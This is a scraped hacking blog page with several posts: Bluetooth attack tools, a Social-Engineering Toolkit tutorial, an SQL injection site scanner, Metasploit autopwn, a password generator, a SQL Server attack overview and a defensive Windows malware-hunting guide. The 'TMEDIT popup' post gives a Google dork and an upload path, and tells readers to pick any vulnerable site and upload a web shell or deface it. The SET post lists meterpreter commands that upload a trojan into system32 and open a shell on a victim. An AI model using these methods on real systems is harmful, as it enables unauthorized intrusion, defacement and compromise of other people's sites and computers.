BLUETOOTH HACKING - BACKTRACK

BLUETOOTH ANALYSIS IN BACKTRACK

Bluediving

Bluediving is a software suite specializing in Bluetooth penetration testing. Bluediving itself comprises of several tools, such as Bluebug and BlueSnarf. Using these tools, Bluediving is able to provide a single platform for launching nearly every type of Bluetooth based attacks. Bluediving presents a simple, easy to use command line where the user is given the option of choosing attack targets, choosing attack methods, and ever enumerating various Bluetooth devices discovered. The top level menu looks like this:

[MAIN MENU] menu: [a] Action [e] Exploit [i] Info [t] Tools

[1] Scan
[2] Scan and attack
[3] Scan and info
[4] Scan for...
[5] Add known device
[6] Change preferences
[7] Show preferences
[8] Show logfile
-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [x] Exit -

btscanner

btscanner is a utility used to gather as much information as possible from an unpaired Bluetooth device. It is specifically aimed at extracting information from unpaired devices, such as IEEE OUI numbers, and possible host identification. The below example shows how to use btscanner to scan for available Bluetooth devices.
Example Usage: btscanner

Enter ‘i’ to begin a scan for devices, and then ‘a’ to abort the scan once devices are found. Select the discovered device by pressing “Enter” to see more information about the target.

Read more

SET VIDEO TUTORIAL

SOCIAL ENGINEERING TOOLKIT TUTORIAL-BACKTRACK 5

Social engineering also known as human hack, social engineering is an act to manipulate human mind to get the desire goals. Social engineering is a general term and on daily life everyone implement it but usage of social engineering in hacking and penetration testing is little different. The main use of social engineering in hacking is to get the information, maintaining access and so on.

There are various social engineering tips and tricks available on the Internet beside these tips there is a social engineering toolkit available for implement computer based social engineering attack.

What Is Social Engineering Toolkit

In this article I will discuss about the usage of social engineering toolkit on backtrack 5 to hack a windows operating system, but before going to the actual tutorial I want to share the basic introduction of social engineering toolkit that would really help for the beginner.

The Social-Engineering Toolkit (SET) is a python-driven suite of custom tools which solely focuses on attacking the human element of penetration testing. It’s main purpose is to augment and simulate social-engineering attacks and allow the tester to effectively test how a targeted attack may succeed.

Social-Engineering toolkit available on backtrack like on backtrack 5, backbox, blackbuntu,Gnacktrack and other Linux distribution that are used for penetration testing.

Download

If you are using some other Linux distribution than use the command to get SET.

svn co http://svn.secmaniac.com/social_engineering_toolkit set/

Social Engineering Toolkit Tutorial

Well for this tutorial I am using backtrack 5 and the tutorial will teach you a single method to own a computer by using SET toolkit while more SET tutorial will be post on later articles. For the best result I have made video tutorial so,

As I have said on the video that more command on the article so here is the necessary commands.

ps
The 'ps' command displays a list of running processes on the target.

meterpreter > ps

Download

meterpreter > download c:\\boot.ini

Upload

meterpreter > upload evil_trojan.exe c:\\windows\\system32

Execute

meterpreter > execute -f cmd.exe -i -H

shell

If you want to get the DOS screen of victim PC for downloading and upload your backdoor and other jobs use shell.

meterpreter > shell

Process 39640 created.

Channel 2 created.

Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

Read more

SQL POIZON ~EXPLOIT SCANNER

SQL POIZON ~ SQLI EXPLOIT SCANNER TOOL

Sql Poizon tool includes php , asp , rfi , lfi dorks and using this tools you can find vulnerable sites like sql vulnerable sites and you can also find vulnerable sites by country and you can hack sql vulnerable sites using Sql Poizon tool and you can also browse the sites using this tool.

 

You can see above snapshot how it will find the sql vulnerable sites.

 Download here

Read more

W3AF V1.1 – WEB APPLICATION framework

W3AF V1.1 – WEB APPLICATION ATTACK & AUDIT FRAMEWORK

w3af is a Web Application Attack and Audit Framework. The project’s goal is to create a framework to find and exploit web application vulnerabilities that is easy to use and extend.

Finally it’s out of BETA and RC and there’s now a stable core for the codebase.

New in v1.1

• Considerably increased performance by implementing gzip encoding
• Enhanced embedded bug report system using Trac’s XMLRPC
• Fixed hundreds of bugs
• Fixed critical bug in auto-update feature
• Enhanced integration with other tools (bug fixed and added more info to the file)

 Download here

Read more

REMOVE Malware in Windows

Hunting Malware in Windows

What is Malware?
Malware are a programs that have code that performs actions with malicious intent. Often the owner of the system will not agreed to the Malware being installed. System owners may not be aware of the presence of the Malware.

What Can Malware Do?
I classify programs such as viruses, Trojans and Spyware as Malware. These types of programs can steal personal information and corrupt data. Infected systems can attack other systems and be used for other illegal activities..

How Does Malware Get onto a System?
Malware can be installed when installing a legitimate program or it can be installed by visiting a website hosting malicious code. Malware can be installed by a virus or worm or it can be installed by someone with malicious intent that has access to the system.


Okay, with those questions answered lets get down to the detail.

After Malware has been installed by whatever means, be it a payload from a file you open, a website you visit or by someone hacking your system and placing it there as a backdoor or a keylogger. The Malware will need to be initiated every time the system reboots (persistence), it’s going to run as a process and it’s going to communicate. I’ll address each of these separately. But first I’ll list the tools that I use throughout my Malware hunting process.

• Tools
• Regedit
• Netstat
• Tlist
• Tasklist
• Autoruns
• Process Explorer
• PUList
• TaskList
• Net
• Handles
• ListDlls
• Nbtstat
• Netstat
• TCPView
• Procmon
• SmartSniff

All the tools listed do not require installation to run. The tools can be run from a CD or other read-only medium which is good practice, as then you then know that the tools have not been affected by any Malware on the PC you are examining. It’s best to take tools directly from the vendor or from a clean installation of Windows.

I have listed methods to detect Malware using both command-line tools and a GUI alternative.

Okay, lets hunt!


Persistence

Once Malware is on the system it will need a way of starting every time you log on. Listed below are some common places it can start from.

1. The Registry
Use Regedit to examine the contents of the following registry keys:

• HKLM\ SOFTWARE\Microsoft\Windows\CurrentVersion\Run

This is a popular key for malware to start from. Other keys that have been known to be used for Malware are listed below.

• HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
• HKLM \SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
• HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
• HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit

• HKCU\ SOFTWARE\Microsoft\Windows\CurrentVersion\Run
• HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
• HKCU \SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
• HKCU\Control Panel\Desktop\Scrnsave.exe

Other keys to note:

• HKEY_CLASSES_ROOT\batfile\shell\open\command
• HKEY_CLASSES_ROOT\exefile\shell\open\command
• HKEY_CLASSES_ROOT\comfile\shell\open\command

The 3 keys listed above tell windows what to do when opening a bat, exe or com file. The values of these keys should be “%1”%”

Malware has been to modify these values so it is started up when either an exe, bat or com file is started.

The screenshot below is from my HKLM\Software\Microsoft\Windows\CurrentVersion\Run key.

As you can see there are quite a few keys to become familiar with.

Become familiar with the contents of these keys and if in doubt use Google to identify the values. When using Google I find it is best look at a few different results rather than the first that comes up. There are many sites that will say that this.exe or that.dll is spyware and it'll sell you just the tool to remove it. You'll get to know which sites you can trust.

2. The File System
The Malware may even be listed in the startup folder. Check out:

C:\Documents and Settings\\Start Menu\Programs\Startup

If you find programs listed here that you don’t recognise, Google them.

3. Scheduled Tasks
Scheduled tasks are another place that Malware can start from. Use the Scheduled Tasks program from Start > Programs > Accessories > System Tools to view scheduled tasks.

Using schtasks.exe you are able to view or from the command-line:

C:\schtasks /query

The benefit of the command-line option is that scheduled tasks can be hidden from the GUI by creating a new scheduled task and then using attrib +h against the task listed in %WINDIR%tasks. This may fool the GUI but it will not get by the command-line tool.

Here is an example.
I have created a task called test which is viewable in Scheduled Tasks

After hiding test.job with the command C:\Windows\Tasks\Attrib +h test.job the task is hidden even though in my folder options I display hidden files.



However, after running C:\schtasks /query I can still see the task.



4. Services
Malware is often installed as a service. This is another way that it can be guaranteed to start. You can view the services using the tools listed below.

Services.mcs. Run this or look in computer manager (Right Click My Computer > Manage) for a list of services on your PC. Malware authors or hackers can install a program to run as a services using the tool Srvany.exe. This is a legitimate Microsoft tool available in the Resource Kit.

To view running services from the command-line use:

C:\net start

Now for the fantastic AutoRuns from SysInternals. Autoruns provides all of the above information in seconds and you can do some funky stuff with it too.

If you want to see a list of all programs that are being started from all the places listed above run AutoRuns and check out the Everything tab (shown below).

From here you can see which programs are set to start, where they are initialised from (Registry, Scheduled Tasks etc..), the Publisher, the Description and the path to the image. On selecting an entry, additional details are supplied in the bottom pane. Entry’s can also be selected or deselected here to start them upon startup or prevent them from loading.

The list of entries and the applied settings can also be saved to a file and then compared to at a later time to identify new entries that have been created. Any new additions will be highlighted in green.


Running Processes

After Malware has started it will be a running process on your PC. There are a number of tools you can use to view the running processes. Again what’s important here is any processes you find that you are unsure of should be Googled.

Below are the different tools I use to list the running processes.

Pslist
PSlist is a free command-line tool developed by SysInternals. It can be used on local and remote computers and can display a great deal of information. Below is a screenshot of running the tool on the local PC using the process tree option (-t). Output can be piped out to a text file if necessary using >filesname.txt. Additional options can be viewed by using the /? switch.

What can be seen in the screenshot above is a number of processes with the same name, svchost In XP svchost appears 5 times and in Windows 2003 there are 7 occurrences of it. Svchost is a system process that runs several other services as we shall see and should always be listed under the System process as shown above. If you find svchost running as a process on its own or under cmd (as demonstrated below) it should definitely raise eyebrows and warrant further investigation.



Some Malware will be named so it looks legitimate and will look at home when displayed in outputs from programs like PSList. For example, would you spot a program named scvhost amongst the list above? Probably not at first glance.

PUList
A useful program is PUlist. PUList from the Microsoft resource kit will display the user account that has been used to start a program. So in the case of a legitimate svchost process this should be the NT AUTHORITY SYSTEM user.

TList
To help demystify what some of those svchost processes are run TList with the –c switch. This will display all the running services and the command-line used to launch the service. The screen shot below clearly shows that my disguised svchost process is was started with syntax that is strangely similar to netcat!



Another useful TList option is the –s switch. This will list the active services in each process.

Tasklist
Tasklist is a native tool to both XP and Windows 2003 and Tasklist /svc will provide similar information to the tlist –s option.

ListDLLs
ListDLLs will display all running processes and the DLL’s used by them and the path to the DLL. ListDLLs will also provide the DLL version also.

Running ListDlls against the PID of my mystery svchost process provides the following information.



Looking at a few of the DLL’s listed such as DNSAPI.dll and mswsock.dll may give a hint to the type of program the svchost is being used as.

Handle
Handle will display information on what the process is interacting with in regards to other handles, the registry and the file system. Handle is also developed by SysInternals (now Microsoft). As with all the command-line tools listed above the output of handle can be directed to a text file by appending >filename.txt to the command.

Process Explorer
And for the GUI inclined, the brilliant SysInternals have developed yet another great tool that rolls all of these tools into one, Process Explorer.

The interface is very easy to navigate yet can provide you with all information regarding running processes. All information is updated in realtime and can be saved to a tab delimited text file.

It has fantastic search capabilities to quickly find handles or dll-substrings. By enabling the lower pane you can easily view the DLLs associated with each process. By selecting a process and using ctrl+h and ctrl+d you can toggle between viewing the handles and the dll’s for the selected process.



The integrated searchable Strings function clearly identifies my mystery process as being a renamed instance of netcat (shown below).



The TCP/IP tab will display any connection that the process has open.

Which brings us to connections.


Connections

So the Malware is on your PC, it’s running as a process and it’s likely at some stage going to try to connect to another system somewhere on the internet to attack, send information or spread. Below I have listed the tools you can you to monitor your network connections to capture details of the connection.

Netstat
Netstat is very useful for showing exactly what connections are being made to and from a PC. Nestat /? will display all available switches for use with the tools. I find the following very useful:

netstat -anobv

This command will list all connections (-a), list the numerical values of he ports (-n), list the owning process for the connection (-o), list the executable that created the connection (-b), and will be verbose (-v).



Another trick I have used in the past with Netstat is to close down all my programs that may make an internet connection and wait a few minutes then run netstat to ensure that all connections are down. I’ll then run the following command and leave my PC connected to the internet:

Netstat –bn 5 >netstatlog.txt

This will create a log file watching for any connections and refresh every 5 seconds. I leave this to run overnight and then stop the task running with ctrl+c. I then review the log and investigate any connections that show up in the log


Fport
Fport from Foundstone is another useful program for displaying ports and the paths to the executable used to launch the connection

Nbtstat
Nbtstat is a native windows utility and the command nbtstat –S will list any network connections using the NBT protocol. Nbtstat –s will convert IP addresses to NETBIOS names. And using nbtstat –S 5 >nbtlog.txt will create a log file that is updated every 5 seconds.

TCPView
And once again SysInternals do it again with a nice GUI that does it all. TCPView provides a realtime view of connections so you can easily identify what is listening or connected. It can resolve DNS for you and you have the option of only listed established connections or viewing all unconnected endpoints as well (shown below).



As new connections are established they are displayed briefly in green and as they are terminated they are displayed in red before disappearing.




SmartSniff
Smartsniff from Nirsoft is a fantastic tool for viewing live connections. But it does a few extras also. SmartSniff can capture from either RAW sockets or using a WinPCAP driver, can display the contents of the connections, can easily apply filters to traffic to focus on particular connections, hosts or protocols. SmartSniff can save the contents of the captures to file for further analysis and can also produce detailed HTML reports. Below is a screenshot of SmartSniff in action.




Conclusion.

Once Malware is installed and running on your system it will leave various footprints, as Locard’s exchange principle states, when two objects come into contact a transfer of material takes place between them. Using the information I have provided and the free tools I have listed, the discovery of that material may be a little easier.

Personally, if I locate Malware on a PC all that the current build of that PC is good for is investigation. Following that, format and reinstall.

Read more

GOLISMERO – WEB APPLICATION MAPPING TOOL

WEB APPLICATION MAPPING TOOL

GoLISMERO helps you to map a web application, displaying the results in a readable format for security auditors.

Features

• Map a web aplication.
• Show all links and forms params as confortable format.
• Save results with some formats: text, cvs, html, raw (for parsing with bash script) and wfuzz script.
• Detect common vulnerabilites of web application.
• Filter web information retaining only what is important.
• Many other features you can find very useful.

 Download here

Read more

AUTOPWN METASPLOIT - POSTGRESQL video tutorial

AUTOPWN METASPLOIT BACKTRACK 5- POSTGRESQL SOLVED

Metasploit is one of the best database and a software that has a list of exploits for different softwares, nmap is the great network scanner tool and when we integrate Metasploit and nmap each other than we can create a wonderful combination that will really helpful in the process of penetration testing and ethical hacking.

Beside nmap we can also integrate nessus result into metasploit and this tutorial has discussed before but we got many comments and messages that postgresql is not working on Metasploit in Backtrack 5, so here is another video tutorial that will show you how to use postgresql server on Metasploit in backtrack 5.

The tutorial will also teach you about Metasploit autopwn by using nmap results. After this tutorial you can say that the problem of postgresql on Metasploit has solved.

Postgresql Metasploit Autopwn Backtrack Tutorial

Read more

TMEDIT POPUOP VULNERABILITY

"TMEDIT POPUOP" DEFACE AND SHELL UPLOAD VULNERABILITY

 

Dork: inurl:/editor/tmedit/popups
Exploit Path : /editor/tmedit/popups/InsertFile/insert_file.php
#start :)
open Google.com or Bing.com and type this dork inurl:/editor/tmedit/popups
i got 9740 vulnrable results, now select any site from seacrh result and look for upload option on that Page now upload you shell, deface page, or anyfile there,
After uploading your  file  you'll see your uploaded file's url there, if you are not getting any perview url then goto /images directory to view your uploaded file 
for example : http://vulnrablesite.com/images/yourfilehere

Read more

CREATE SECURE PASSWORDS online

CREATE STRONG AND SECURE PASSWORDS 

At present we need a password or PIN for every almost every online activity and strong password is very important, as every users wants to protect their personal files, information & other data and avoid hackers from getting into their accounts.

However, not everyone can come up with a nice strong password, which is why we have compiled a list of two online tools that help users to create strong and unpredictable passwords

1. Make Password

"Make Password" is a Web application that help users to generate strong password, for Social networks, email ID etc

The PIN or Codes generated by "Make Passwords" is generated on Random basis and are not stored anywhere.

You  can select the “Password Strength” option, which displays the strength of the password generated, in a range of 0 – 100 (with above 75 are Strong).

Once the user can picked out all the options, just click “Make Password(s)” and the passwords will be displayed in "Plain text" "Web page" or in "CSV" file.

2. Password Bird

 "PassWord Bird" is an Best and Recommended Webapp for Creating secure password related with your name, your Special thing, Special Date etc :)

 

Just as you provide special words, names, dates etc it will instantly create an Secure Combination for you. You can select "make new one: to generate new unique password on random basis.One thing to note is that the website don't use any special symbols (! @ # $ % & * ), But it uses upper and lower case and Numbers in generating 'Secure Password'So now onwards if you want to change your password, or want to keep your data secure. Use these Webapps to create some of the most 'Secure Combinations' :)) Cheers ~~There are plenty of service like Free Password Generator. You can even use them but recommended is to use from given above.

Read more

10 WAYS TO EXPLOIT SQL SERVER

10 WAYS TO EXPLOIT SQL SERVER SYSTEMS  

Whether it is through manual poking and prodding or the use of security testing tools, malicious attackers employ a variety of tricks to break into SQL Server systems, both inside and outside your firewall. It stands to reason then, if the hackers are doing it, you need to carry the same attacks to test the security strength of your systems. Here are 10 hacker tricks to gain access and violate systems running SQL Server.

1. Direct connections via the Internet

These connections can be used to attach to SQL Servers sitting naked without firewall protection for the entire world to see (and access). DShield's Port Report shows just how many systems are sitting out there waiting to be attacked. I don't understand the logic behind making a critical server like this directly accessible from the Internet, but I still find this flaw in my assessments, and we all remember the effect the SQL Slammer worm had on so many vulnerable SQL Server systems. Nevertheless, these direct attacks can lead to denial of service, buffer overflows and more.


2. Vulnerability scanning

Vulnerability scanning often reveals weaknesses in the underlying OS, the Web application or the database system itself. Anything from missing SQL Server patches to Internet Information Services (IIS) configuration weaknesses to SNMP exploits can be uncovered by attackers and lead to database server compromise. The bad guys may use open source, home-grown or commercial tools. Some are even savvy enough to carry out their hacks manually from a command prompt. In the interest of time (and minimal wheel spinning), I recommend using commercial vulnerability assessment tools like QualysGuard from Qualys Inc. (for general scanning), WebInspect from SPI Dynamics (for Web application scanning) and Next Generation Security Software Ltd.'s NGSSquirrel for SQL Server (for database-specific scanning). They're easy to use, offer the most comprehensive assessment and, in turn, provide the best results. Figure 1 shows some SQL injection vulnerabilities you may be able to uncover.

Common SQL injection vulnerabilities found using WebInspect.

3. Enumerating the SQL Server Resolution Service

Running on UDP port 1434, this allows you to find hidden database instances and probe deeper into the system. Chip Andrews' SQLPing v 2.5 is a great tool to use to look for SQL Server system(s) and determine version numbers (somewhat). This works even if your SQL Server instances aren't listening on the default ports. Also, a buffer overflow can occur when an overly long request for SQL Servers is sent to the broadcast address for UDP port 1434.



4. Cracking SA passwords

Deciphering SA passwords is also used by attackers to get into SQL Server databases. Unfortunately, in many cases, no cracking is needed since no password has been assigned (Oh, logic, where art thou?!). Yet another use for the handy-dandy SQLPing tool mentioned earlier. The commercial products AppDetective from Application Security Inc. and NGSSQLCrack from NGS Software Ltd. also have this capability.


5. Direct-exploit attacks

Direct attacks using tools such as Metasploit, shown in Figure 2, and its commercial equivalents (CANVAS and CORE IMPACT) are used to exploit certain vulnerabilities found during normal vulnerability scanning. This is typically the silver-bullet hack for attackers penetrating a system and performing code injection or gaining unauthorized command-line access.

SQL Server vulnerability exploitable using Metasploit's MSFConsole.

6. SQL injection

SQL injection attacks are executed via front-end Web applications that don't properly validate user input. Malformed SQL queries, including SQL commands, can be inserted directly into Web URLs and return informative errors, commands being executed and more. These attacks can be carried out manually -- if you have a lot of time. Once I discover that a server has a potential SQL injection vulnerability, I prefer to perform the follow-through using an automated tool, such as SPI Dynamics' SQL Injector

SPI Dynamics' SQL Injector tool automates the SQL injection process.

7. Blind SQL injection

These attacks go about exploiting Web applications and back-end SQL Servers in the same basic fashion as standard SQL injection. The big difference is that the attacker doesn't receive feedback from the Web server in the form of returned error messages. Such an attack is even slower than standard SQL injection given the guesswork involved. You need a good tool for this situation, and that's where Absinthe, shown in Figure 4, comes in handy.

Absinthe tool takes the pain out of blind SQL injection testing.

8. Reverse engineering the system

The reverse engineering trick looks for software exploits, memory corruption weaknesses and so on. In this sample chapter from the excellent book Exploiting Software: How to Break Code by Greg Hoglund and Gary McGraw, you'll find a discussion about reverse engineering ploys.


9. Google hacks

Google hacks use the extraordinary power of the Google search engine to ferret out SQL Server errors -- such as "Incorrect syntax near" -- leaking from publicly accessible systems. Several Google queries are available at Johnny Long's Google Hacking Database. (Look in the sections titled Error Messages and Files containing passwords.) Hackers use Google to find passwords, vulnerabilities in Web servers, underlying operating systems, publicly available procedures and more that they can use to further compromise a SQL Server system. Combining these queries with Web site names via Google's 'site:' operator often turns up juicy info you never imagined you could unearth.


10. Perusing Web site source code

Source code can also turn up information that may lead to a SQL Server break in. Specifically, developers may store SQL Server authentication information in ASP scripts to simplify the authentication process. A manual assessment or Google could uncover this information in a split second.

Read more